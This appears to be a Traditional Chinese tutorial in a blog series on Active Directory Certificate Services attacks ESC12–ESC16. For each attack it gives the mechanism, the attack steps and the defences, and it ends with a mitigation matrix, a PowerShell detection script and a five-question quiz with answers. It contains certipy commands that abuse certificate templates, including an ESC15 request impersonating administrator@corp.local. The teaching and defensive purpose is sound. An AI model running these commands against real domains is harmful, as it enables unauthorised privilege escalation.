certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
net stop certsvc
net start certsvc

ESC12:YubiHSM2 特定弱點

這是什麼漏洞

ESC12 是特定硬體 HSM(YubiHSM2)的軟體堆疊弱點,允許低權限使用者濫用 CA 簽章功能。

漏洞原理

  • YubiHSM2 的 KSP/驅動程式弱點
  • 低權限程序可與 HSM 互動
  • 可強制簽署任意憑證請求

漏洞攻擊流程

這是硬體特定的攻擊,需要:

  1. CA 使用 YubiHSM2
  2. 取得 CA 伺服器的低權限 shell
  3. 利用特定的 HSM 軟體弱點

防禦方向

  1. 更新 HSM 韌體和軟體
  2. 限制 CA 伺服器存取
  3. 監控異常的 HSM 操作

ESC13:發行策略群組連結

這是什麼漏洞

ESC13 利用憑證的發行策略(Issuance Policy)OID 連結到 AD 群組的機制。

漏洞原理

  • 範本包含特定的發行策略 OID
  • OID 物件的 msDS-OIDToGroupLink 屬性指向 AD 群組
  • KDC 將連結的群組 SID 加入 Kerberos 票證

漏洞攻擊流程

# 步驟 1:識別有群組連結的範本
certipy find -u 'user@corp.local' -p 'Password!' \
    -vulnerable -dc-ip 192.168.139.10 -oids

# 步驟 2:申請憑證
certipy req -u 'user@corp.local' -p 'Password!' \
    -target 'ca.corp.local' -ca 'CORP-CA' \
    -template 'LinkedPolicyTemplate'

# 步驟 3:使用憑證(自動獲得連結群組權限)
certipy auth -pfx 'user.pfx' -dc-ip 192.168.139.10

防禦方向

  1. 審查 OID 群組連結:
    Get-ADObject -Filter {objectClass -eq "msPKI-Enterprise-Oid"} -Properties *
    
  2. 限制連結到特權群組
  3. 限制範本註冊權限

ESC14:弱顯式憑證映射

這是什麼漏洞

ESC14 涉及 altSecurityIdentities 屬性使用弱映射規則。

漏洞原理

弱映射範例:

  • X509:<S>CN=User(只依賴 CN)
  • X509:<RFC822>email@domain.com(依賴郵件)
  • 缺少發行者或序號的映射

漏洞攻擊流程

  1. 識別使用弱映射的帳號
  2. 取得或偽造符合映射的憑證
  3. 使用憑證驗證

防禦方向

使用強映射格式:

  • X509:<I>IssuerDN<SR>SerialNumber
  • X509:<SHA1-PUKEY>PublicKeyHash

ESC15:V1 範本應用策略注入(CVE-2024-49019)

這是什麼漏洞

ESC15 允許在未修補的 CA 上,對 V1 範本注入任意應用策略。

漏洞原理

  • V1 範本不驗證 CSR 中的應用策略
  • 攻擊者可注入客戶端驗證或代理 EKU
  • 繞過範本的 EKU 限制

漏洞攻擊流程

# 注入客戶端驗證到 Web 伺服器範本
certipy req -u 'user@corp.local' -p 'Password!' \
    -target 'ca.corp.local' -ca 'CORP-CA' \
    -template 'WebServer' \
    -application-policies 'Client Authentication' \
    -upn 'administrator@corp.local'

防禦方向

  1. 安裝 CVE-2024-49019 修補程式
  2. 升級 V1 範本到 V2
  3. 監控異常的應用策略

ESC16:CA 全域停用安全擴充

這是什麼漏洞

ESC16 是 CA 層級停用 SID 安全擴充,影響所有憑證。

漏洞原理

  • CA 將 1.3.6.1.4.1.311.25.2 加入 DisableExtensionList
  • 所有憑證都缺少 SID 擴充
  • 類似全域 ESC9 效果

漏洞攻擊流程

與 ESC9 相同,但適用於該 CA 的所有範本。

防禦方向

# 重新啟用安全擴充
certutil -setreg policy\DisableExtensionList -1.3.6.1.4.1.311.25.2
net stop certsvc
net start certsvc

綜合防禦策略矩陣

ESC編號 主要防禦措施 監控重點 優先級
ESC1 停用申請者提供主體 Event 4886 極高
ESC2 明確指定 EKU 範本變更 高
ESC3 限制代理憑證 代理活動 高
ESC4 審查範本 ACL Event 4899 極高
ESC5 限制 PKI 物件權限 Event 5136 中
ESC6 停用 EDITF_ATTRIBUTESUBJECTALTNAME2 CA 設定變更 極高
ESC7 限制 CA 權限 Event 4876 極高
ESC8 啟用 EPA Web 存取日誌 極高
ESC9 移除 NoSecurityExtension 憑證內容 高
ESC10 設定 CertificateMappingMethods LDAPS 驗證 中
ESC11 強制 RPC 加密 RPC 連線 高
ESC12 更新 HSM 軟體 HSM 日誌 低
ESC13 審查 OID 連結 群組變更 中
ESC14 使用強映射 altSecurityIdentities 低
ESC15 安裝修補程式 異常 EKU 極高
ESC16 啟用安全擴充 CA 設定 極高

實戰檢測腳本

# ADCS 安全檢測腳本
function Test-ADCSSecurity {
    Write-Host "=== ADCS 安全檢測 ===" -ForegroundColor Cyan
    
    # ESC1 檢測
    $ESC1Templates = Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * |
        Where-Object {
            $_.'msPKI-Certificate-Name-Flag' -band 1 -and
            $_.'pKIExtendedKeyUsage' -match '1.3.6.1.5.5.7.3.2'
        }
    
    if ($ESC1Templates) {
        Write-Host "[!] 發現 ESC1 脆弱範本:" -ForegroundColor Red
        $ESC1Templates | ForEach-Object { Write-Host "    - $($_.Name)" }
    }
    
    # ESC6 檢測
    $EditFlags = certutil -getreg policy\EditFlags
    if ($EditFlags -match "EDITF_ATTRIBUTESUBJECTALTNAME2") {
        Write-Host "[!] ESC6:CA 允許 SAN 規範" -ForegroundColor Red
    }
    
    # ESC9/16 檢測
    $DisabledExt = certutil -getreg policy\DisableExtensionList
    if ($DisabledExt -match "1.3.6.1.4.1.311.25.2") {
        Write-Host "[!] ESC16:安全擴充被停用" -ForegroundColor Red
    }
}

Test-ADCSSecurity

總結

ADCS 的 ESC 系列攻擊展現了企業 PKI 基礎設施的複雜性和潛在風險。每種攻擊都有其特定的前提條件、攻擊路徑和防禦方法。重要的是要理解:

  1. 設定錯誤是主因:大多數 ESC 攻擊源於設定錯誤而非軟體漏洞
  2. 攻擊可串連:ESC6+ESC9、ESC2→ESC3 等組合攻擊更危險
  3. 防禦需要層次:沒有單一防禦措施可以阻止所有攻擊
  4. 持續監控關鍵:許多攻擊難以完全預防,但可以偵測

記住:ADCS 安全不是一次性的設定,而是持續的監控、稽核和改進過程。定期執行安全評估,保持系統更新,並教育管理員瞭解這些風險,是維護企業 PKI 安全的關鍵。

參考資源

小試身手

第 1 題

在 ESC1 攻擊中,哪個憑證範本旗標是造成漏洞的關鍵設定?

A. CT_FLAG_MACHINE_TYPE
B. CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
C. CT_FLAG_AUTO_ENROLLMENT
D. CT_FLAG_PUBLISH_TO_DS

答案:B

解析:
ESC1 漏洞的核心在於憑證範本中的 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 旗標,這個設定允許申請者在憑證簽署請求(CSR)中自訂主體名稱。當此旗標被啟用且結合客戶端驗證 EKU 時,攻擊者可以申請一張宣稱自己是網域管理員的憑證。其他選項都不是 ESC1 的關鍵要素。


第 2 題

下列哪個 ESC 攻擊需要利用「憑證申請代理」(Enrollment Agent) 功能?

A. ESC1 - 允許申請者提供主體名稱
B. ESC2 - Any Purpose 憑證範本
C. ESC3 - 憑證申請代理濫用
D. ESC4 - 範本劫持

答案:C

解析:
ESC3 專門利用憑證申請代理(Enrollment Agent)功能,這個功能原本設計給 IT 人員協助使用者申請憑證。攻擊者取得包含特定 EKU(1.3.6.1.4.1.311.20.2.1)的代理憑證後,可以代表任何人申請憑證。攻擊流程包括先取得代理憑證,然後使用 -on-behalf-of 參數代表 Administrator 申請憑證。


第 3 題

在 ESC4 攻擊中,攻擊者主要修改憑證範本的哪個屬性來實現權限提升?

A. msPKI-Certificate-Name-Flag 設為 1
B. msPKI-RA-Signature 設為 100
C. msPKI-Enrollment-Flag 設為 0
D. pKIMaxIssuingDepth 設為 10

答案:A

解析:
ESC4 攻擊的核心是修改範本的 msPKI-Certificate-Name-Flag 屬性設為 1,這會啟用 ENROLLEE_SUPPLIES_SUBJECT 功能。攻擊者如果對憑證範本物件擁有寫入權限,可以修改這個屬性,使原本安全的範本變得脆弱,允許申請者自行指定憑證中的身分資訊。這樣就能將一個安全的範本轉變為類似 ESC1 的脆弱範本。


第 4 題

ESC8 攻擊利用 AD CS 的哪個服務進行 NTLM 中繼?

A. RPC Endpoint Mapper
B. Web Enrollment (certsrv)
C. LDAP Service
D. Kerberos KDC

答案:B

解析:
ESC8 利用 AD CS Web Enrollment 服務(certsrv)未啟用擴充保護驗證(EPA),可進行 NTLM 中繼攻擊。IIS 預設允許 NTLM 驗證且未啟用通道繫結(Channel Binding),攻擊者可中繼受害者的 NTLM 驗證到 /certsrv/ 端點。攻擊時會使用 ntlmrelayx.py 工具,目標設定為 http://CA-IP/certsrv/certfnsh.asp。


第 5 題

哪個防禦措施可以同時緩解 ESC1 和 ESC6 兩種攻擊?

A. 升級所有 V1 範本到 V2 版本
B. 停用「由申請者提供主體」並關閉 CA 的 EDITF_ATTRIBUTESUBJECTALTNAME2 旗標
C. 啟用憑證管理員核准所有申請
D. 限制 Domain Users 的註冊權限

答案:B

解析:
這題需要理解兩種攻擊的本質:

  • ESC1 的防禦需要停用「由申請者提供主體」選項,改為「從 Active Directory 建置」
  • ESC6 發生在 CA 層級啟用 EDITF_ATTRIBUTESUBJECTALTNAME2 旗標時,需要使用 certutil 命令停用此危險旗標

選項 B 同時處理了這兩個問題的根源:禁止申請者自行指定身分資訊。雖然選項 C(啟用管理員核准)也能提供保護,但這是程序性控制而非技術性控制,且會大幅增加管理負擔。選項 A 和 D 則只能部分緩解問題。


上一篇
AD 攻防實戰演練 Day 14:ADCS 進階攻擊 - ESC5~ESC8 PKI 物件濫用與 NTLM Relay
下一篇
AD 攻防實戰演練 Day 16:橫向移動進階技術 - SAM/LSA/LSASS 憑證提取與多種橫向移動方法
系列文
資安這條路:AD 攻防實戰演練 共 30 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言